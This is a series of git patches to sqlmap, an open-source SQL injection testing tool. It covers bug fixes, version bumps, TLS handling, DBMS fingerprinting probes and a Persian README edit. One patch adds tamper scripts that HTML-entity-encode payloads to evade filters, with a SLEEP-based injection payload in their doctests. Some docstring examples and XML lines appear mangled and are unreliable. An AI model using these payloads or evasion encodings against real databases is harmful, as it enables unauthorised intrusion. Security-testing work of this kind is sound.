logger.debug(debugMsg) @@ -287,7 +290,7 @@ def checkSqlInjection(place, parameter, value): # Skip DBMS-specific test if it does not match the # previously identified DBMS (via DBMS-specific error message) - if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): + elif kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True): debugMsg = "skipping test '%s' because the heuristic " % title debugMsg += "tests showed that the back-end DBMS " debugMsg += "could be '%s'" % unArrayizeValue(kb.reduceTests) diff --git a/lib/core/settings.py b/lib/core/settings.py index 518cb47771e..1f1f80a5358 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.0" +VERSION = "1.6.8.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e1f7690de45760f77257a458520fb81a45592db9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 10 Aug 2022 14:51:35 +0200 Subject: [PATCH 055/599] Fixes #5162 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 4ea6f7a462e..48bbbc758da 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4693,7 +4693,7 @@ def geturl(self): else: url = urldecode(request.get_full_url(), kb.pageEncoding) method = request.get_method() - data = request.data + data = unArrayizeValue(request.data) data = urldecode(data, kb.pageEncoding, spaceplus=False) if not data and method and method.upper() == HTTPMETHOD.POST: diff --git a/lib/core/settings.py b/lib/core/settings.py index 1f1f80a5358..e4199bb2cd2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.1" +VERSION = "1.6.8.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 212f28d1ad6fdb4b0c58018e8358f0238b1f8fb2 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 22 Aug 2022 16:25:55 +0200 Subject: [PATCH 056/599] Fixes --check-tor (reported privately) --- lib/core/settings.py | 2 +- lib/request/httpshandler.py | 10 ++++++---- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index e4199bb2cd2..d7b0dfdb81d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.2" +VERSION = "1.6.8.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index 8f01f74bdcc..998fbd2c8ed 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -36,6 +36,8 @@ class HTTPSConnection(_http_client.HTTPSConnection): Connection class that enables usage of newer SSL protocols. Reference: http://bugs.python.org/msg128686 + + NOTE: use https://check-tls.akamaized.net/ to check if (e.g.) TLS/SNI is working properly """ def __init__(self, *args, **kwargs): @@ -61,7 +63,7 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", conf.hostname or "") is None and kb.tlsSNI.get(conf.hostname) is not False and hasattr(ssl, "SSLContext"): + if re.search(r"\A[\d.]+\Z", self.host or "") is None and kb.tlsSNI.get(self.host) is not False and hasattr(ssl, "SSLContext"): for protocol in (_ for _ in _protocols if _ >= ssl.PROTOCOL_TLSv1): try: sock = create_sock() @@ -73,7 +75,7 @@ def create_sock(): _contexts[protocol].set_ciphers("DEFAULT@SECLEVEL=1") except ssl.SSLError: pass - result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=conf.hostname) + result = _contexts[protocol].wrap_socket(sock, do_handshake_on_connect=True, server_hostname=self.host) if result: success = True self.sock = result @@ -86,8 +88,8 @@ def create_sock(): self._tunnel_host = None logger.debug("SSL connection error occurred for '%s' ('%s')" % (_lut[protocol], getSafeExString(ex))) - if kb.tlsSNI.get(conf.hostname) is None: - kb.tlsSNI[conf.hostname] = success + if kb.tlsSNI.get(self.host) is None: + kb.tlsSNI[self.host] = success if not success: for protocol in _protocols: From 4cdc3af5859b6313d440630b3d8a28d82f3987aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 26 Aug 2022 20:34:11 +0200 Subject: [PATCH 057/599] Fixes #5165 --- lib/core/settings.py | 2 +- lib/core/threads.py | 8 ++++++-- 2 files changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index d7b0dfdb81d..a98b5201816 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.3" +VERSION = "1.6.8.4" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/threads.py b/lib/core/threads.py index 936c3dffab5..cc0a5f572cd 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -161,8 +161,12 @@ def _threadFunction(): infoMsg = "starting %d threads" % numThreads logger.info(infoMsg) else: - _threadFunction() - return + try: + _threadFunction() + except (SqlmapUserQuitException, SqlmapSkipTargetException): + pass + finally: + return kb.multiThreadMode = True From 2382d2654e7bff4aba47fa75b8a87976d87cf462 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 6 Sep 2022 13:00:47 +0200 Subject: [PATCH 058/599] Fixes #5170 --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 48bbbc758da..8db52016222 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3708,7 +3708,7 @@ def priorityFunction(test): if test.stype == PAYLOAD.TECHNIQUE.UNION: retVal = SORT_ORDER.LAST - elif "details" in test and "dbms" in test.details: + elif "details" in test and "dbms" in (test.details or {}): if intersect(test.details.dbms, Backend.getIdentifiedDbms()): retVal = SORT_ORDER.SECOND else: diff --git a/lib/core/settings.py b/lib/core/settings.py index a98b5201816..b4a70346cfa 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.8.4" +VERSION = "1.6.9.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 111620e395bb1e4a5bed8985de2e56e475debcf8 Mon Sep 17 00:00:00 2001 From: Hoomaan <110151441+N0x01X@users.noreply.github.com> Date: Wed, 14 Sep 2022 00:54:22 +0430 Subject: [PATCH 059/599] Fixing grammar issues of FA readme (#5172) --- doc/translations/README-fa-IR.md | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/doc/translations/README-fa-IR.md b/doc/translations/README-fa-IR.md index 743a5244aff..baff855a93f 100644 --- a/doc/translations/README-fa-IR.md +++ b/doc/translations/README-fa-IR.md @@ -7,10 +7,10 @@ -برنامه `sqlmap`، برنامه‌ی منبع باز هست که برای تست نفوذ پذیزی دربرابر حمله‌های احتمالی `sql injection` (جلوگیری از لو رفتن پایگاه داده) جلو گیری می‌کند. این برنامه مجهز به مکانیزیم تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصص تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق `via out-of-band` درسیستم عامل را امکان پذیر می‌کند. +برنامه `sqlmap`، یک برنامه‌ی تست نفوذ منبع باز است که فرآیند تشخیص و اکسپلویت پایگاه های داده با مشکل امنیتی SQL Injection را بطور خودکار انجام می دهد. این برنامه مجهز به موتور تشخیص قدرتمندی می‌باشد. همچنین داری طیف گسترده‌ای از اسکریپت ها می‌باشد که برای متخصصان تست نفوذ کار کردن با بانک اطلاعاتی را راحتر می‌کند. از جمع اوری اطلاعات درباره بانک داده تا دسترسی به داده های سیستم و اجرا دستورات از طریق ارتباط Out Of Band درسیستم عامل را امکان پذیر می‌کند. -عکس +تصویر محیط ابزار ---- @@ -23,7 +23,7 @@
-برای دیدن کردن از [مجموعه‌ی از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از ویکی دیدن کنید. +برای نمایش [مجموعه ای از اسکریپت‌ها](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) می‌توانید از دانشنامه دیدن کنید. نصب @@ -32,11 +32,11 @@ برای دانلود اخرین نسخه tarball، با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/tarball/master) یا دانلود اخرین نسخه zipball با کلیک در [اینجا](https://github.com/sqlmapproject/sqlmap/zipball/master) میتوانید این کار را انجام دهید. -طرز استفاده +نحوه استفاده ---- -برای گرفتن لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: +برای دریافت لیست ارگومان‌های اساسی می‌توانید از دستور زیر استفاده کنید: @@ -53,7 +53,7 @@
-برای گرفتن لیست تمامی ارگومان‌های می‌توانید از دستور زیر استفاده کنید: +برای دریافت لیست تمامی ارگومان‌ها می‌توانید از دستور زیر استفاده کنید:
@@ -66,7 +66,7 @@
-برای اطلاعات بیشتر برای اجرا از [اینجا](https://asciinema.org/a/46601) می‌توانید استفاده کنید. برای گرفتن اطلاعات بیشتر توسعه می‌شود به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. +برای اجرای سریع و ساده ابزار می توانید از [اینجا](https://asciinema.org/a/46601) استفاده کنید. برای دریافت اطلاعات بیشتر در رابطه با قابلیت ها ، امکانات قابل پشتیبانی و لیست کامل امکانات و دستورات همراه با مثال می‌ توانید به [راهنمای](https://github.com/sqlmapproject/sqlmap/wiki/Usage) `sqlmap` سر بزنید. لینک‌ها @@ -74,11 +74,11 @@ * خانه: https://sqlmap.org -* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* کایمت و نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* پیگری مشکلات: https://github.com/sqlmapproject/sqlmap/issues +* دانلود: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) یا [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* نظرات: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* پیگیری مشکلات: https://github.com/sqlmapproject/sqlmap/issues * راهنمای کاربران: https://github.com/sqlmapproject/sqlmap/wiki * سوالات متداول: https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* تویتر: [@sqlmap](https://twitter.com/sqlmap) +* توییتر: [@sqlmap](https://twitter.com/sqlmap) * رسانه: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) -* عکس‌ها: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* تصاویر: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From 70665c5d2beece0c6b71d3677fbf690f0c3695f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 Sep 2022 22:59:34 +0200 Subject: [PATCH 060/599] Improvement regarding #5171 --- lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/techniques/blind/inference.py | 8 ++++++-- 3 files changed, 8 insertions(+), 3 deletions(-) diff --git a/lib/core/option.py b/lib/core/option.py index 93a0ce40e49..bad824008e3 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2045,6 +2045,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.delayCandidates = TIME_DELAY_CANDIDATES * [0] kb.dep = None kb.disableHtmlDecoding = False + kb.disableShiftTable = False kb.dnsMode = False kb.dnsTest = None kb.docRoot = None diff --git a/lib/core/settings.py b/lib/core/settings.py index b4a70346cfa..0007ae9d934 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.0" +VERSION = "1.6.9.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py index a15b64de3d5..70bad65e077 100644 --- a/lib/techniques/blind/inference.py +++ b/lib/techniques/blind/inference.py @@ -274,9 +274,11 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, originalTbl = type(charTbl)(charTbl) - if continuousOrder and shiftTable is None: + if kb.disableShiftTable: + shiftTable = None + elif continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace - shiftTable = [2, 2, 3, 3, 5, 4] + shiftTable = [2, 2, 3, 3, 3] if "'%s'" % CHAR_INFERENCE_MARK in payload: for char in ('\n', '\r'): @@ -358,6 +360,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, kb.responseTimePayload = None result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) + incrementCounter(getTechnique()) if not timeBasedCompare and getTechniqueData() is not None: @@ -405,6 +408,7 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, maxChar = maxValue = charTbl[-1] minValue = charTbl[0] else: + kb.disableShiftTable = True return None else: retVal = minValue + 1 From a246b8da5eb9feeefefd263eadb07036b737b942 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Sep 2022 16:02:48 +0200 Subject: [PATCH 061/599] Fixes #5182 --- lib/core/settings.py | 2 +- lib/core/target.py | 5 ++++- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 0007ae9d934..bf40268bfff 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.1" +VERSION = "1.6.9.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/target.py b/lib/core/target.py index c47b4513094..0b3fe9592a5 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -120,7 +120,10 @@ def process(match, repl): while True: _ = re.search(r"\\g<([^>]+)>", retVal) if _: - retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + try: + retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1))) + except IndexError: + break else: break if kb.customInjectionMark in retVal: From e846209b87f32930a365341fc8f2c566f019452f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 25 Sep 2022 16:34:40 +0200 Subject: [PATCH 062/599] Update regarding #5092 --- lib/core/settings.py | 2 +- lib/request/connect.py | 7 ++++--- 2 files changed, 5 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index bf40268bfff..373501236c2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.2" +VERSION = "1.6.9.3" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 0e6eae9b55e..b2d4e8b3111 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1011,9 +1011,10 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if (kb.postHint or conf.skipUrlEncode) and postUrlEncode: postUrlEncode = False - conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] - contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) - conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) + if not (conf.skipUrlEncode and contentType): # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5092 + conf.httpHeaders = [_ for _ in conf.httpHeaders if _[1] != contentType] + contentType = POST_HINT_CONTENT_TYPES.get(kb.postHint, PLAIN_TEXT_CONTENT_TYPE) + conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) From 7f62572f4358b48b8b8330cd919f53bd14d1dfab Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?V=C3=ADctor=20Garc=C3=ADa?= <56491288+takito1812@users.noreply.github.com> Date: Thu, 6 Oct 2022 11:32:31 +0200 Subject: [PATCH 063/599] Add files via upload (#5189) --- tamper/decentities.py | 33 +++++++++++++++++++++++++++++++++ tamper/hexentities.py | 33 +++++++++++++++++++++++++++++++++ 2 files changed, 66 insertions(+) create mode 100644 tamper/decentities.py create mode 100644 tamper/hexentities.py diff --git a/tamper/decentities.py b/tamper/decentities.py new file mode 100644 index 00000000000..4dfb058da34 --- /dev/null +++ b/tamper/decentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in decimal (using code points) all characters (e.g. ' -> ') + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#%s;" % ord(payload[i]) + i += 1 + + return retVal diff --git a/tamper/hexentities.py b/tamper/hexentities.py new file mode 100644 index 00000000000..0bce83bc071 --- /dev/null +++ b/tamper/hexentities.py @@ -0,0 +1,33 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import PRIORITY + +__priority__ = PRIORITY.LOW + +def dependencies(): + pass + +def tamper(payload, **kwargs): + """ + HTML encode in hexadecimal (using code points) all characters (e.g. ' -> 1) + + >>> tamper("1' AND SLEEP(5)#") + '1' AND SLEEP(5)#' + """ + + retVal = payload + + if payload: + retVal = "" + i = 0 + + while i < len(payload): + retVal += "&#x%s;" % format(ord(payload[i]), "x") + i += 1 + + return retVal From 9c103b3dd698eb63c2eb7f76e1fe35f1b86098cc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Oct 2022 11:50:35 +0200 Subject: [PATCH 064/599] Fixes #5187 --- lib/core/settings.py | 2 +- lib/request/connect.py | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 373501236c2..09c95bda7ae 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.9.3" +VERSION = "1.6.10.0" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index b2d4e8b3111..0b5206b63d8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -587,8 +587,14 @@ class _(dict): if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj: conf.cj._policy._now = conf.cj._now = int(time.time()) - cookies = conf.cj._cookies_for_request(req) - requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + while True: + try: + cookies = conf.cj._cookies_for_request(req) + except RuntimeError: # NOTE: https://github.com/sqlmapproject/sqlmap/issues/5187 + time.sleep(1) + else: + requestHeaders += "\r\n%s" % ("Cookie: %s" % ";".join("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value)) for cookie in cookies)) + break if post is not None: if not getRequestHeader(req, HTTP_HEADER.CONTENT_LENGTH) and not chunked: From 3f53b2bc05d387c865bd812ef41a406ebe89b7b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Oct 2022 20:12:12 +0200 Subject: [PATCH 065/599] Fixes #5190 --- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 09c95bda7ae..acf9c343362 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.0" +VERSION = "1.6.10.1" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 6409fea28a0..9bda7b8d55a 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -986,7 +986,7 @@ def _format_action_invocation(self, action): argv[i] = argv[i].replace("--auth-creds", "--auth-cred", 1) elif argv[i].startswith("--drop-cookie"): argv[i] = argv[i].replace("--drop-cookie", "--drop-set-cookie", 1) - elif any(argv[i].startswith(_) for _ in ("--tamper", "--ignore-code", "--skip")): + elif re.search(r"\A(--(tamper|ignore-code|skip))(?!-)", argv[i]): key = re.search(r"\-?\-(\w+)\b", argv[i]).group(1) index = auxIndexes.get(key, None) if index is None: From c45cf60fb482ba0fa5d7a883c58ca53a8a236c81 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Oct 2022 20:55:49 +0200 Subject: [PATCH 066/599] Minor update of fingerprinting data --- data/xml/banner/generic.xml | 2 +- data/xml/banner/server.xml | 8 ++++++-- lib/core/settings.py | 2 +- plugins/dbms/mssqlserver/fingerprint.py | 3 ++- plugins/dbms/mysql/fingerprint.py | 4 ++-- plugins/dbms/postgresql/fingerprint.py | 4 +++- 6 files changed, 15 insertions(+), 8 deletions(-) diff --git a/data/xml/banner/generic.xml b/data/xml/banner/generic.xml index 0fcd3d3ec13..fc2fb97f59a 100644 --- a/data/xml/banner/generic.xml +++ b/data/xml/banner/generic.xml @@ -34,7 +34,7 @@ - + diff --git a/data/xml/banner/server.xml b/data/xml/banner/server.xml index 1122d822c1b..4d99cade0bd 100644 --- a/data/xml/banner/server.xml +++ b/data/xml/banner/server.xml @@ -10,7 +10,7 @@ - + @@ -878,7 +878,11 @@ - + + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index acf9c343362..11ea6e898f1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.6.10.1" +VERSION = "1.6.10.2" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index d96e9408c95..709a4f030e3 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -89,6 +89,7 @@ def checkDbms(self): logger.info(infoMsg) for version, check in ( + ("2022", "CHARINDEX('16.0.',@@VERSION)>0"), ("2019", "CHARINDEX('15.0.',@@VERSION)>0"), ("Azure", "@@VERSION LIKE '%Azure%'"), ("2017", "TRIM(NULL) IS NULL"), @@ -151,7 +152,7 @@ def checkDbmsOs(self, detailed=False): "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)), - "10 or 2016 or 2019": ("10.0", (0,)) + "10 or 11 or 2016 or 2019 or 2022": ("10.0", (0,)) } # Get back-end DBMS underlying operating system version diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index c9aae79c53e..e004ad5ad6e 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -47,11 +47,11 @@ def _commentCheck(self): versions = ( (80000, 80029), # MySQL 8.0 (60000, 60014), # MySQL 6.0 - (50700, 50737), # MySQL 5.7 + (50700, 50739), # MySQL 5.7 (50600, 50652), # MySQL 5.6 (50500, 50563), # MySQL 5.5 (50400, 50404), # MySQL 5.4 - (50100, 50174), # MySQL 5.1 + (50100, 50175), # MySQL 5.1 (50000, 50097), # MySQL 5.0 (40100, 40131), # MySQL 4.1 (40000, 40032), # MySQL 4.0 diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 93696c9d3e5..3cbde60eb2a 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -131,7 +131,9 @@ def checkDbms(self): infoMsg = "actively fingerprinting %s" % DBMS.PGSQL logger.info(infoMsg) - if inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"): + if inject.checkBooleanExpression("BIT_COUNT(NULL) IS NULL"): + Backend.setVersion(">= 14.0") + elif inject.checkBooleanExpression("GEN_RANDOM_UUID() IS NOT NULL"): Backend.setVersion(">= 13.0") elif inject.checkBooleanExpression("SINH(0)=0"): Backend.setVersion(">= 12.0") From bf4f84b70a8ca10b233fddd430c8397d0ebac277 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 12 Oct 2022 11:13:59 +0200 Subject: [PATCH 067/599] Fixes #5191 --- lib/core/agent.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/agent.py b/lib/core/agent.py index 24c498e6d68..b3f8700825c 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -581,7 +581,7 @@ def getFields(self, query): """ prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*" - fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) + fieldsSelectTop = re.search(r"\ASELECT\s+TOP(\s+\d+|\s*\([^)]+\))\s+(.+?)\s+FROM", query, re.I) fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I) fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I) fieldsSelectCase = re.search(r"\ASELECT%s\s+(\(CASE WHEN\s+.+\s+END\))" % prefixRegex, query, re.I) @@ -729,7 +729,7 @@ def concatQuery(self, query, unpack=True): concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1) concatenatedQuery += "+'%s'" % kb.chars.stop elif fieldsSelectTop: - topNum = re.search(r"\ASELECT\s+TOP(\s+[\d]|\s*\([^)]+\))\s+", concatenatedQuery, re.I).group(1) + topNum = 